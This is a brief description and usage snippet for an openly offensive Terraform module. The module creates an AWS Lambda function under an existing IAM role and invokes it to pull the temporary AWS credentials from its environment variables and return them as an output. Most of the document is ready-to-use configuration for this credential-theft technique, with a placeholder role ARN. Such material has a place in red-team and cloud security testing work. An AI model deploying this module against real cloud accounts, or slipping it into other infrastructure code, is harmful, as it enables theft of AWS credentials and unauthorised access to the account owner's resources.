Offensive Terraform module which creates Lambda function with existing IAM role. The module invokes it automatically to exfiltrate AWS temporary credential from environment variables and send it back with response.
module "lambda-function-credential-exfiltration" {
source = "offensive-terraform/lambda-function-credential-exfiltration/aws"
role_arn = "arn:aws:iam::000000000000:role/lambda-role-name"
}
output "lambda_credential" {
value = module.lambda-function-credential-exfiltration.lambda_credential
}
Module managed by https://github.com/iganbold